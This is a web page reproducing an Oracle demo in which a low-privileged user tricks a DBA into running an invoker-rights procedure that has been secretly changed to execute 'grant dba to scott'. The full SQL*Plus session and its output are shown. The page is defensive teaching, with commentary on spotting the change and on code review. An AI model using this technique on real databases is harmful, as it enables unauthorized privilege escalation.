The following Social Engineering exploit was written by Connor McDonald with Oracle Corp. and published in the Ask Tom website on 05 July 2018.
It is reproduced here in slightly modified form because it is an excellent example of a non-sophisticated exploit that will work in any version of Oracle you may have deployed. Would the activity it demonstrates be caught be auditing? Absolutely.
But what are the chances that the audit record would be viewed? How many hours or days would it take before someone followed upon the issue?
If the delay exceeds a few minutes a DDOS attack would have already brought the system down, a source code theft would have already succeeded, if the object was to corrupt data it is too late to stop them.
If it takes 24 hours or more most likely the data is already gone.
So to help preserve this valuable example should Oracle at some point drop it from its current location
https://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:9538309900346384677
it is reproduced below.
The demo is best viewed as a case where a developer, tester, consultant, or vendor is working on a system and requires that the attacker only have the following privileges:
- CREATE SESSION
- CREATE PROCEDURE
- CREATE TABLE
As always, site code formatting rules have been applied. Connor's words are in black, mine in brown. |
SQL> conn scott/tiger
Connected.
SQL> CREATE TABLE t(x INT);
Table created.
SQL> GRANT SELECT ON t TO PUBLIC;
Grant succeeded.
At this moment you should be cringing. In a secure environment there is no excuse for making a privilege grant to PUBLIC.
SQL> CREATE OR REPLACE PROCEDURE my_proc AUTHID CURRENT_USER IS
2 v INT;
3 BEGIN
4 SELECT 1/COUNT(*) INTO v FROM scott.t;
5 END;
6 /
Procedure created.
SQL> exec scott.my_proc
BEGIN scott.my_proc; END;
*
ERROR at line 1:
ORA-01476: divisor is equal to zero
ORA-06512: at "SCOTT.MY_PROC", line 4
ORA-06512: at line 1
You can see that it fails because, the table is empty, the "count(*)" will return zero and I'll get an error
I did this deliberately, because now I get on the phone to you... (the DBA)
"Hi Christine, Man I'm having a bad day. My proc keeps failing - I think its a privileges issue. Could you give it a run and see if it works for you?"
You log in with your DBA account, take a look at the code (which looks harmless) and give it a run:
SQL> conn christine/christine
Connected.
SQL> exec scott.my_proc
BEGIN scott.my_proc; END;
*
ERROR at line 1:
ORA-01476: divisor is equal to zero
ORA-06512: at "SCOTT.MY_PROC", line 4
ORA-06512: at line 1
and you jump back on the phone to me
"Hey Scott...your table is empty you dufus...there is no problem here with the code".
Now of course I *knew* you would say that...so now I amend the procedure to be this
SQL> conn scott/tiger
Connected.
SQL> CREATE OR REPLACE PROCEDURE my_proc AUTHID CURRENT_USER IS
3 v INT;
4 BEGIN
5 EXECUTE IMMEDIATE 'grant dba to scott';
6 SELECT 1/COUNT(*) INTO v FROM scott.t;
7 END;
8 /
Procedure created.
Of course, as SCOTT, it doesn't matter what grants I try do - I'll not be allowed to execute them. But of course...I can just get back on the phone :-)
"Hi Christine, Scott again. I thought I'd fixed that but its still not working - can you see if it fails for you too?
and since you only *just looked* at the code, and your sqlplus window is just *sitting there* from a few moments ago...you do this:
SQL> exec scott.my_proc BEGIN scott.my_proc; END;
BEGIN scott.my_proc; END;
*
ERROR at line 1:
ORA--01476: divisor is equal to zero
ORA-06512: at "SCOTT.MY_PROC", line 5
ORA-06512: at line 1
and reply...
"Hey Scott...yeah, same error"
and THAT .... is how I hacked your database :-)
But it really isn't the "same" error. Look closely and you will the first 2 times the ORA-06512 references line 4 and the third time it references line 5.
This is an immediate alert that the code was changed and should have reviewed it.
Also, as DBA, you should have known that this code even if not malicious would fail and required that an exception handler such as the following be written before proceeding.
SQL> DECLARE
2 v INT;
3 BEGIN
4 SELECT 1/COUNT(*) INTO v FROM t;
5 EXCEPTION
6 WHEN ZERO_DIVIDE THEN
7 RAISE_APPLICATION_ERROR(-20001,
'No Data In Table T');
8 WHEN OTHERS THEN
9 RAISE;
10 END;
11 /
DECLARE
*
ERROR at line 1:
ORA-20001: No Data In Table T
ORA-06512: at line 7 |
SQL> conn scott/tiger
Connected.
SQL> SELECT * FROM session_roles;
ROLE
----------------------------------
CONNECT
RESOURCE
DBA <============= !!!!!!!!! |